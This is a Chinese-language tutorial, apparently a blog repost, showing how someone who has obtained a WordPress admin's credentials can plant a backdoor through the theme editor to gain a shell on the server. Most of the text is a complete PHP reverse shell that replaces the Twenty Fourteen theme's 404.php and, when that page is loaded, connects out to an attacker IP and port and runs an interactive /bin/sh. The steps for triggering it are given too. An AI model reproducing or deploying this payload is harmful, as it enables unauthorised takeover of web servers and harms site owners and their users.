1. 程式人生 > >Wordpress主題編輯器漏洞

Wordpress主題編輯器漏洞

Wordpress是全球流行的部落格網站,全球有上百萬人使用它來搭建部落格。他使用PHP指令碼和Mysql資料庫來搭建網站。

那麼,如果當我們在滲透測試過程中獲得到了別人Wordpress的賬號和密碼之後,如何才能拿到該伺服器的shell呢?

我們可以利用Wordpress主題編輯的功能,在主題的頁面中插入我們構造的惡意的php程式碼,來獲得伺服器的shell。

具體實施過程如下:

我們點選   Appearance——>Editor

我們這裡第一步隨便選一個主題,我這裡選的是 Twenty Fourteen,然後點選 Select 選擇這個,然後點選404頁面

這裡。意思就是去編輯Twenty Fourteen 的404頁面。我們最好是選擇編輯404頁面,因為404頁面我們插入惡意程式碼對該檔案不會有影響。如果是其他檔案的話,有可能會導致主題不能安裝

然後將我們的惡意程式碼替換掉404頁面原來的程式碼。這是一個利用php寫的埠轉發的工具,只要我們訪問了該檔案,他就會向指定主機的指定埠傳送反彈shell。

#利用php反彈shell
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.10.27';     // 修改成你的主機
$port = 1234;           // 修改成你的埠
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	if ($pid) {
		exit(0);  // Parent exits
	}

	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?> 

惡意程式碼替換完成之後,我們點選 Update File 更新檔案。 

 我們可以看到檔案更新成功,我們記住url 這裡這個主題的名字

然後我們訪問該主題下的404.php頁面:http://192.168.10.30/backup_wordpress/wp-content/themes/twentyfourteen/404.php,同時,我們主機監聽相應的埠。可以看到,我們已經得到shelll了。